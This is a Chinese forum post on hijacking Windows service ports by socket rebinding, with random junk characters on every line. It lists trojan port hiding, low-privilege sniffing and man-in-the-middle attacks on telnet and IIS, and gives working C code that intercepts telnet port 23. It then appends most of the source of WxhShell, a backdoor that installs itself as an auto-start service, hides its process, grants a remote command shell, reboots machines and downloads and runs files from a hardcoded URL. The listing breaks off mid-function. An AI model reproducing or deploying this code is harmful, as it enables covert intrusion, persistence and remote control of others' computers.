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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ew3ibXD  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0-{t FN  
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  saddr.sin_family = AF_INET; #[#KL/i)$  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b*ef);  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *6(kbes  
TNJG#8n%Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MQKfJru7  
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  这意味着什么?意味着可以进行如下的攻击: uytE^  
Et_V,s<|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0|; .6\  
UU8pz{/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HK+/:'P u  
I7^zU3]Ul  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 pu,?<@0YK  
0EJ(.8hwm  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7)%+=@  
67y Tvr@a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h_d<!  
CkswJ:z)sc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .G o{1[  
cwV]!=RtO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5[n(7;+gw  
 JMdPwI  
  #include r < cVp^  
  #include <LRey%{q  
  #include WMMO5_M z  
  #include    Y?534l)j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   aTBR|U S  
  int main() f3|@|' ;  
  { fqu}Le  
  WORD wVersionRequested; _20#2i&  
  DWORD ret; i_][P TH  
  WSADATA wsaData; w{k)XY40sW  
  BOOL val; dJ?XPo"Cm=  
  SOCKADDR_IN saddr; }K hjlPhx  
  SOCKADDR_IN scaddr; -uh(?])H  
  int err; [31p&FxM  
  SOCKET s; PQ|69*2G  
  SOCKET sc; s_.]4bl.8  
  int caddsize; a?YCn!  
  HANDLE mt; V<HU6w  
  DWORD tid;   |y20Hi':  
  wVersionRequested = MAKEWORD( 2, 2 ); m5G\}8|  
  err = WSAStartup( wVersionRequested, &wsaData ); 2 &Nb  
  if ( err != 0 ) { $BmmNn#  
  printf("error!WSAStartup failed!\n"); !.1%}4@Q]  
  return -1; NA,C Z  
  } :fk2]{KTL  
  saddr.sin_family = AF_INET;  '8j$';&`  
   6WoAs)ZF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7*DMVok:  
1}ZKc=Pfu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (6v (9p  
  saddr.sin_port = htons(23); Yl;^ k0ZI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 09o~9z0  
  { }IEb yb  
  printf("error!socket failed!\n"); G;3~2^lB\  
  return -1; zY+Fl~$S  
  } ?[x49Ux,P  
  val = TRUE; {K#NB_*To  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0ult7s}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /J)l/oI  
  { aQ j*KMc  
  printf("error!setsockopt failed!\n"); rwIe qV{:  
  return -1; fA48(0p  
  } fri0XxF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v}^5Rp&m  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 22(*J<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vILy>QS)  
x_|F|9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H;aYiy  
  { r3rxC&  
  ret=GetLastError(); 9x+<I k  
  printf("error!bind failed!\n"); qC!&x,}3  
  return -1; x{ }z ;yG  
  } $>U # W:  
  listen(s,2); 9dh >l!2  
  while(1) `IINq{Zk  
  { >s3gqSDR  
  caddsize = sizeof(scaddr); fQ+VT|jzx  
  //接受连接请求 @xsCXCRWVV  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z['\61  
  if(sc!=INVALID_SOCKET) OPBt$Ki  
  { UueD(T;p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B~'MBBD"  
  if(mt==NULL) *b}>cn)<v  
  { (yo;NKq,@  
  printf("Thread Creat Failed!\n"); dMx4ykrR  
  break; 4;`Bj:.  
  } 7nzGAz_W  
  } M9!AIHq4  
  CloseHandle(mt); a:YI"*S  
  } _B2V "p  
  closesocket(s); >*twTlb{  
  WSACleanup(); Wl^R8w#Z$  
  return 0; T2 ?HRx  
  }   E99CmG|"  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2S`?hxAL  
  { sM1RU  
  SOCKET ss = (SOCKET)lpParam; EPW7+Ve  
  SOCKET sc; *s}|Hy  
  unsigned char buf[4096]; o  A* G  
  SOCKADDR_IN saddr; ?j7vZ}iRi  
  long num; Rd+P,PO  
  DWORD val; 04!(okubyp  
  DWORD ret; 7:=5"ScV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0e["]Tlnm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l6[lJ0Y  
  saddr.sin_family = AF_INET; \F,DA"K_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !~<siy  
  saddr.sin_port = htons(23); IGX:H)&*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M^rM-{?<  
  { >95TvJ  
  printf("error!socket failed!\n"); Hg}I]!B  
  return -1; +w| 9x.&W  
  } V's:>;  
  val = 100; l^NC]t  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vjViX<#(V  
  { 5=?i;P  
  ret = GetLastError(); lhC6S'vq  
  return -1; jn9 ShF  
  } ~c{:DM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5TBI<K  
  { :&'{mJW*{t  
  ret = GetLastError(); D 7shiv|,  
  return -1; J3S&3+2G  
  } Mu_i$j$vvP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T#:F]=  
  { '!v c/Hw  
  printf("error!socket connect failed!\n"); LU!1s@  
  closesocket(sc); ~!%0Z9>ap  
  closesocket(ss); iZ[tHw||  
  return -1; k7_I$ <YDj  
  } Z#`0txCF  
  while(1) UkR3}{i  
  { guN4-gGDr<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )Du -_Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .&,[,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^c9ThV.v  
  num = recv(ss,buf,4096,0); J."{<&  
  if(num>0) juToO  
  send(sc,buf,num,0); w5]"ga>Y  
  else if(num==0) Tc ZnmN  
  break; E(+T*  
  num = recv(sc,buf,4096,0); )&W|QH=AI  
  if(num>0)  e/e0d<(1  
  send(ss,buf,num,0); dhRJg"vrQ  
  else if(num==0) `0BdMKjA  
  break; a ib}`l  
  } FyD.>ot7M  
  closesocket(ss); @%i>XAe#0  
  closesocket(sc); &yH#s 8^8  
  return 0 ; nR5bs;gk"  
  } 5{ >0eFzG  
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67<CbQZoN3  
========================================================== J;~|p h  
&B-[oqC?  
下边附上一个代码,,WXhSHELL /rF8@l  
9+CFRYC  
========================================================== zjbE 7^ N  
sz09+4h#  
#include "stdafx.h" bLG]Wa  
qc!xW ,I  
#include <stdio.h> 4sY[az  
#include <string.h> l^ 4OC  
#include <windows.h> &R]pw`mTH  
#include <winsock2.h> 7{BnXN[  
#include <winsvc.h> hd^x}iK"  
#include <urlmon.h> "!&B4  
0*(K DDv  
#pragma comment (lib, "Ws2_32.lib") MUof=EJg>u  
#pragma comment (lib, "urlmon.lib") +}!DP~y+  
ZW ye> ]  
#define MAX_USER   100 // 最大客户端连接数 2o{@nN8%  
#define BUF_SOCK   200 // sock buffer O4+F^+qN  
#define KEY_BUFF   255 // 输入 buffer R lg#z4m  
P!+v:'P5f  
#define REBOOT     0   // 重启 okBE|g  
#define SHUTDOWN   1   // 关机 uIP iM8(  
=Q?f96T  
#define DEF_PORT   5000 // 监听端口 ;bHfn-X  
oXc/#{NC  
#define REG_LEN     16   // 注册表键长度 x72G^`Wv  
#define SVC_LEN     80   // NT服务名长度 ?M&4pO&Y  
OCx5/ 88X  
// 从dll定义API ~"mj;5Id  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yuNfhK/#r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0M!0JJy#*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OAok  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .:0M+Jr"  
F/<qE!(  
// wxhshell配置信息 &G{2s J5{  
struct WSCFG { HCc`  
  int ws_port;         // 监听端口 ^tE_LL+ji|  
  char ws_passstr[REG_LEN]; // 口令 ZH-5 Qy_  
  int ws_autoins;       // 安装标记, 1=yes 0=no :::>ro*R  
  char ws_regname[REG_LEN]; // 注册表键名 5-p.MGso  
  char ws_svcname[REG_LEN]; // 服务名 CX+9R3pa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }K8Lm-.=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7z<Cu<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :GL7J6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z\!rH "8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k}B DA|\s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]bfqcmh<  
N$'>XtO  
}; hPPB45^  
kME^tpji  
// default Wxhshell configuration  rA#s   
struct WSCFG wscfg={DEF_PORT, G.ud1,S#  
    "xuhuanlingzhe", IIP.yyh>  
    1, 2Guvze_bU  
    "Wxhshell", <|JU(B  
    "Wxhshell", iBHw[X,b  
            "WxhShell Service", t{ H 1u  
    "Wrsky Windows CmdShell Service", STlPT5e.}  
    "Please Input Your Password: ", .YiaXP  
  1, =jUnM> 23  
  "http://www.wrsky.com/wxhshell.exe", 56ZrCr  
  "Wxhshell.exe" jM\ %$_/  
    }; VCf|`V~G  
0#`)Prop6  
// 消息定义模块 YKq0f=Ij  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FQ##397  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7:kCb[ji"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;Vo mFp L  
char *msg_ws_ext="\n\rExit."; ;.0LRWcJ  
char *msg_ws_end="\n\rQuit."; `e*61k5  
char *msg_ws_boot="\n\rReboot..."; bFn(w:1Q  
char *msg_ws_poff="\n\rShutdown..."; JjDS"hK#  
char *msg_ws_down="\n\rSave to "; Gt'/D>FE0  
U9F6d!:L7A  
char *msg_ws_err="\n\rErr!"; sS'{QIRC'  
char *msg_ws_ok="\n\rOK!"; ' fl(N2t  
RO$*G jQd  
char ExeFile[MAX_PATH]; ]+lF=kkc %  
int nUser = 0; \4@a  
HANDLE handles[MAX_USER]; 'RQiLUF  
int OsIsNt; V g6S/-  
!=knppY  
SERVICE_STATUS       serviceStatus; @SQceQfB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R_9 o!s TZ  
=SL^>HS.fo  
// 函数声明 S| "TP\o  
int Install(void); PHl4 vh#E!  
int Uninstall(void); uH] m]t  
int DownloadFile(char *sURL, SOCKET wsh); GDmv0V$6  
int Boot(int flag); ]gHLcr3  
void HideProc(void); w< mqe0  
int GetOsVer(void); VwC4QK,d;  
int Wxhshell(SOCKET wsl); fr]Hc+7  
void TalkWithClient(void *cs); UhBz<>i;!  
int CmdShell(SOCKET sock); 'v+96b/;  
int StartFromService(void); /=- h:0{M  
int StartWxhshell(LPSTR lpCmdLine); *cQz[S@F  
'rh\CA/}D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m>O2t-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZZwBOGVU  
T"B8;|  
// 数据结构和表定义 sOC| B  
SERVICE_TABLE_ENTRY DispatchTable[] = bx]1 4}6  
{ \aB&{`iG  
{wscfg.ws_svcname, NTServiceMain}, G "c/a8  
{NULL, NULL} R{ 4u|A?9  
}; T#/11M$uQ  
g!\QIv1D  
// 自我安装 W7T" d4  
int Install(void) _&=9Ke  
{ ?9qAe  
  char svExeFile[MAX_PATH]; ]Qc: Zy3  
  HKEY key;  X)y*#U  
  strcpy(svExeFile,ExeFile); MKe *f%  
I'P.K| "R  
// 如果是win9x系统,修改注册表设为自启动 P1e5uJkd  
if(!OsIsNt) { ~"\P~cg0J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .;j"+Ef   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y "<JE<X  
  RegCloseKey(key); }Uq/kei^P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ![j(o!6&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |:}L<9Sq  
  RegCloseKey(key); 0x6@{0  
  return 0; 8db6(Q~P  
    } *eMLbU7  
  } /T{mS7EpYc  
} sbpu qOL  
else { ,qYf#fU#7  
w zdxw$E  
// 如果是NT以上系统,安装为系统服务 z^"?sd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $/os{tzjd  
if (schSCManager!=0) &9k"9  
{ i /C'0  
  SC_HANDLE schService = CreateService })q]g Mj  
  ( Scf.4~H 0  
  schSCManager, 3!1&DII4  
  wscfg.ws_svcname, x vHOY:  
  wscfg.ws_svcdisp, "_ Zh5 g  
  SERVICE_ALL_ACCESS, 5,Qy/t}K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p~ mN2x]  
  SERVICE_AUTO_START, :0{AP_tvcC  
  SERVICE_ERROR_NORMAL, -<_+-t  
  svExeFile, Cnk#Ioz  
  NULL, '\4c "Ho  
  NULL, (1OW6xtfG  
  NULL, ;k-g _{M  
  NULL, }D(DU5r  
  NULL _8Pmv$   
  ); yFIl^Ck%  
  if (schService!=0) JHHb|  
  { #V,LNX)  
  CloseServiceHandle(schService); n&3iz05}  
  CloseServiceHandle(schSCManager); e3G7K8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u87=q^$  
  strcat(svExeFile,wscfg.ws_svcname); rGGS]^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uT#Acg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oXvdR(Sb^  
  RegCloseKey(key); ik8|9m4/  
  return 0; 9$n+-GSK  
    } 7O]J^H+7  
  } "Wxo[I  
  CloseServiceHandle(schSCManager); oA5<[&~<  
} -wJ   
} 8|fLe\"  
{H/8#y4qp&  
return 1; V}j %gy`  
} "tEj`eR  
\z&03@Sw  
// 自我卸载 wV7@D[8  
int Uninstall(void) ': 5Trx  
{ R994R@gz  
  HKEY key; MYKs??]Y1  
+qE,<c}}  
if(!OsIsNt) { p`shY yE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )zo#1$C-  
  RegDeleteValue(key,wscfg.ws_regname); = E##},N"  
  RegCloseKey(key); Vf@S8H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mYzsT Uq  
  RegDeleteValue(key,wscfg.ws_regname); oUnq"]  
  RegCloseKey(key); "TEBByO'  
  return 0; W9:fKP  
  } JS }_q1H  
} @2)t#~Wc4h  
} m T>b ;  
else { q}wl_ku9+  
(jD'+ "?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  zZS>+O  
if (schSCManager!=0) J r=REa0  
{ UUt~W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZJiuj!  
  if (schService!=0) <L[T'ZE+  
  { yBU ZVqqDa  
  if(DeleteService(schService)!=0) { r@N39O*Wq  
  CloseServiceHandle(schService); Q"x`+?!  
  CloseServiceHandle(schSCManager); L{+&z7M  
  return 0; U^vUdM"  
  } )*q7pO\cty  
  CloseServiceHandle(schService); &<\4q  
  } IBn'iE[>  
  CloseServiceHandle(schSCManager); TyxU6<>4J4  
} OqAh4qa,$  
} m70`{-O  
s{x*~M$vt  
return 1; yf0vR%,\  
} 5i}CzA96  
cKvAR5|  
// 从指定url下载文件 7C,<iY  
int DownloadFile(char *sURL, SOCKET wsh)  r{; VTQ  
{ ~*,Ddwr0a  
  HRESULT hr; ]j%*"V  
char seps[]= "/"; DctX9U(  
char *token; x9FLr}e  
char *file; /h.:br?M#P  
char myURL[MAX_PATH]; E7d~#  
char myFILE[MAX_PATH]; 48*Oh2BA  
Gd]5xl HRU  
strcpy(myURL,sURL); ^+.+I cH  
  token=strtok(myURL,seps); Huc3|~9  
  while(token!=NULL) _RA{SO  
  { j3sz*:  
    file=token; >x|A7iWn{,  
  token=strtok(NULL,seps); (6b?ir~  
  } E< io^  
W07-JHV%  
GetCurrentDirectory(MAX_PATH,myFILE);  :V5!C$QV  
strcat(myFILE, "\\"); wI1M0@}PV  
strcat(myFILE, file); &sr:\Qn X/  
  send(wsh,myFILE,strlen(myFILE),0); PU]7c2.y  
send(wsh,"...",3,0); 5p#o1I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iZDb.9@&t  
  if(hr==S_OK) !>a&`j2:W  
return 0; u`L!za7fi  
else V{ a}#J  
return 1; !.tL"U~4  
&"~,V6,q  
} [FeJ8P>z  
mlsvP%[f.  
// 系统电源模块 vkNZ -`+I  
int Boot(int flag) p3,(*eZ  
{ n;S0fg  
  HANDLE hToken; eY6gb!5u  
  TOKEN_PRIVILEGES tkp; @SF" )j|  
^-c si   
  if(OsIsNt) { /:*R -VdF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n##w[7B*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "W,"qFx  
    tkp.PrivilegeCount = 1; ?h>%Ix  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .5Z,SGBf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H$=h-  
if(flag==REBOOT) { pDq^W @Rq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0s+rd&  
  return 0; 8`rAE_n`%  
} ^Xt]wl*]+  
else { H;b'"./  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P}.yEta  
  return 0; ~PH1|h6  
} E:dT_x<Y  
  } #Kb)>gzT  
  else { I2Or& _  
if(flag==REBOOT) { 7DHT)9lD/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qI4R`P"  
  return 0; RJ`/qXL  
} ]ukj]m/@  
else { JJbM)B@-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q%AS ;(d  
  return 0; $+)x)1  
} am$-sh72  
} /FNj|7s  
C7fi1~  
return 1; !kHyLEV  
} ,pGCgOG#}c  
u6bB5(s`&  
// win9x进程隐藏模块 s6eq?1l 3  
void HideProc(void) nHhD<a!  
{ RL]lt0O{  
Fm[?@Z&wP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vqv2F @.  
  if ( hKernel != NULL ) DY+8m8!4H  
  { {ZBb. $}RC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yW6[Fpw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a s<q  
    FreeLibrary(hKernel); !!D:V`F/d  
  } ytBxe]  
yrK--C8  
return; t KqCy\-q  
} Um0<I)  
V;(*\"O  
// 获取操作系统版本 Jj^<:t5{rN  
int GetOsVer(void) 4{;8 ]/.a  
{ E#HU?<q8  
  OSVERSIONINFO winfo; _>:=<xyOq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T$8$9D_u  
  GetVersionEx(&winfo); :BZx ) HxQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oRJP5Y5na  
  return 1; (1r>50Ge  
  else ,[K)E  
  return 0; *v7& T  
} zf!\wY"`  
o"+ &^  
// 客户端句柄模块 WY. \<$7  
int Wxhshell(SOCKET wsl) OD@@O9  
{ {/|8g(  
  SOCKET wsh; nD?M;XN  
  struct sockaddr_in client; $0`$)(Y  
  DWORD myID; k~s>8N:&G  
/xm} ?t0U  
  while(nUser<MAX_USER) K&gc5L  
{ JXR/K=<^  
  int nSize=sizeof(client); L!}j3(I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5\*wX.wp  
  if(wsh==INVALID_SOCKET) return 1; |@bNd7=2d  
?PxYS%D_L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O'sr[  
if(handles[nUser]==0) B6!<@* BI  
  closesocket(wsh); IkXKt8`YVA  
else |EEz>ci  
  nUser++; '>WuukC  
  } "j@IRuH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jiB>.te  
IM&7h! l"|  
  return 0; '8pPGh9D  
} <n2{+eO  
I9j+x ])  
// 关闭 socket fM[fS?W  
void CloseIt(SOCKET wsh) kKk |@  
{ +q, n}@y=  
closesocket(wsh); nR|LV'(  
nUser--; 'hHX"\|RA  
ExitThread(0); 2Q_{2(nQb  
} GHsdLe=t0#  
!vo'8r?&  
// 客户端请求句柄 ][K8\  
void TalkWithClient(void *cs) >p#d;wK4_  
{ U@t?jTMBkO  
VEYKrZA  
  SOCKET wsh=(SOCKET)cs; uB&I56  
  char pwd[SVC_LEN]; SIBIh-L  
  char cmd[KEY_BUFF]; QO`SnN}  
char chr[1]; .$s|T  
int i,j; nF y7gA|  
xbH!:R;  
  while (nUser < MAX_USER) { {aa,#B] i  
JP% ;rAoJ  
if(wscfg.ws_passstr) { )*<d1$aM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g8qAJ4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mbG^fy'  
  //ZeroMemory(pwd,KEY_BUFF); WF.$gBH"  
      i=0; 8_,wOkk_B  
  while(i<SVC_LEN) { exMPw ;8  
y42T.oK8c  
  // 设置超时 o6yZ@R  
  fd_set FdRead; O09g b[  
  struct timeval TimeOut; QR"O)lP  
  FD_ZERO(&FdRead); n_ NG~ /x  
  FD_SET(wsh,&FdRead); 27i<6PAC[A  
  TimeOut.tv_sec=8; %B un@  
  TimeOut.tv_usec=0; VqT[ca\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 52R.L9Ai  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RuEnr7gi  
*wZV*)}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -EIMh^  
  pwd=chr[0]; ?@BaBU:o`F  
  if(chr[0]==0xd || chr[0]==0xa) { FHPZQC8  
  pwd=0; M]zNW{Xt  
  break; qf&{O:,Z  
  } 8[P6c;\  
  i++; l8Iy 03H  
    } 7(iRz  
hQLx"R$  
  // 如果是非法用户,关闭 socket E0%Y%PQ**{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jl%e O.  
} 1UWgOCc  
EC\:uK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gK_[3FiKt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b6M)qt9R  
mztq7[&-  
while(1) { 3\~fe/z'I  
3T^dgWXEG  
  ZeroMemory(cmd,KEY_BUFF); l{x#*~g a  
BQmafpp`  
      // 自动支持客户端 telnet标准   .Eyk?"^  
  j=0; HSFf&|qqx  
  while(j<KEY_BUFF) { $>37PVVW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !/9Sb1_~  
  cmd[j]=chr[0]; -^yc yZ  
  if(chr[0]==0xa || chr[0]==0xd) { 1ORi]`  
  cmd[j]=0; Q"_T040B  
  break; ,'DrFlI  
  } kF~e3A7C  
  j++; :rc[j@|pH  
    } X51$5%  
Fd.d(  
  // 下载文件 PS;*N 8  
  if(strstr(cmd,"http://")) { dV*rnpN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3sIM7WD?  
  if(DownloadFile(cmd,wsh)) jJC( (1|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <G=@Gl  
  else 3Ya6yz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RLX^'g+P  
  } ;XuE Mq,Di  
  else { n,LKkOG  
]KT,s].  
    switch(cmd[0]) { [:'?}p  
  \`5u@Nzx  
  // 帮助 ,B>b9,~3a  
  case '?': { euC,]n.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OvG|=  
    break; wA&)y>n-  
  } RIx6& 7$  
  // 安装 iFchD\E*o  
  case 'i': { UHHKI)(  
    if(Install()) .[ s82c]]6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tz~ ftf  
    else +>({pHZ<S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |.W;vc<  
    break; |^!@  
    } 5W-M8dc6  
  // 卸载 ;itg>\ p3  
  case 'r': { rmJ847%y`  
    if(Uninstall()) <Wq{ V;$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /hR]aw  
    else Mc^7FWkw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?LM'5  
    break; f_Bf}2Eedj  
    } =%G[vm/-)  
  // 显示 wxhshell 所在路径 qE=OQs9  
  case 'p': { Vtk|WV?>P+  
    char svExeFile[MAX_PATH]; bUL9*{>G  
    strcpy(svExeFile,"\n\r"); '" yl>"  
      strcat(svExeFile,ExeFile); =_3qUcOP  
        send(wsh,svExeFile,strlen(svExeFile),0); vH8%a8V  
    break; ]iX$p~riH  
    } Rj= Om  
  // 重启 DlO;EH  
  case 'b': { (LPD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S`.-D+.68  
    if(Boot(REBOOT)) F\72^,0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  I ^92b  
    else { i|'t!3I^m  
    closesocket(wsh); Wb xksh:)Q  
    ExitThread(0); ``Rb-.Fq,  
    } l]&)an  
    break; _.LWc^Sg  
    } x*)O<K  
  // 关机 ! .}{ f;Ls  
  case 'd': { pdqh'+5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mr.DP~O:9p  
    if(Boot(SHUTDOWN)) _"`h~jB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f d5~'2  
